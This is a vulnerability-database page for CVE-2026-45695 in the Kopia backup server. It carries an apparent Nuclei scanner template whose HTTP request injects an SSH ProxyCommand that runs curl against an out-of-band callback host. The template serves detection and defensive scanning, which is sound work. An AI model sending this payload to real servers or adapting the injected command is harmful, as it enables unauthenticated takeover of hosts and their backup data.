Kopia Server 0.23.0 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2026-45695 | 16 Jul 202615:42 | – | attackerkb | |
| CVE-2026-45695 | 16 Jul 202616:42 | – | circl | |
| CVE-2026-45695 | 16 Jul 202615:42 | – | cve | |
| CVE-2026-45695 Kopia: Unauthenticated RCE via SSH ProxyCommand Injection when --insecure --without-password is used | 16 Jul 202615:42 | – | cvelist | |
| EUVD-2026-44948 | 16 Jul 202615:42 | – | euvd | |
| Kopia: RCE via SSH ProxyCommand Injection | 19 May 202619:18 | – | github | |
| CVE-2026-45695 | 16 Jul 202616:19 | – | nvd | |
| GHSA-2Q4C-3MRW-63C3 Kopia: RCE via SSH ProxyCommand Injection | 19 May 202619:18 | – | osv | |
| GO-2026-5009 Kopia: RCE via SSH ProxyCommand Injection in github.com/kopia/kopia | 20 May 202619:07 | – | osv | |
| OPENSUSE-SU-2026:21483-1 Security update for govulncheck-vulndb | 30 Jul 202609:09 | – | osv |
10
id: CVE-2026-45695
info:
name: Kopia Server 0.23.0 - Remote Code Execution
author: kenlacroix
severity: critical
description: |
Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.
impact: |
An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data.
remediation: |
Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks.
reference:
- https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3
- https://github.com/kopia/kopia/pull/5354
- https://orca.security/resources/blog/kopia-backup-rce-vulnerability/
- https://nvd.nist.gov/vuln/detail/CVE-2026-45695
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-45695
epss-score: 0.00348
epss-percentile: 0.28051
cwe-id: CWE-88
metadata:
max-request: 1
vendor: kopia
product: kopia
shodan-query: http.favicon.hash:952466528
fofa-query: icon_hash=="952466528"
tags: cve,cve2026,kopia,rce,ssh,injection,sftp,intrusive
http:
- raw:
- |
POST /api/v1/repo/exists HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"storage":{"type":"sftp","config":{"path":"/{{rand_base(6)}}","host":"127.0.0.1","port":22,"username":"{{rand_base(6)}}","externalSSH":true,"sshArguments":"-oProxyCommand=curl${IFS}{{interactsh-url}}"}}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'unable to open SFTP storage'
- 'error":'
condition: and
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- 'User-Agent: curl'
# digest: 490a004630440220425c87c745c9c7f84c2c38ad0821a6b0d6d562fed34e671510d633a4b69a1f2f02206fac323bf8afdd8e98fe209199c27da6962f23ede4edc77cbe04ae200eb15e22:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Jun 2026 15:54Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19.8
EPSS0.00348
SSVC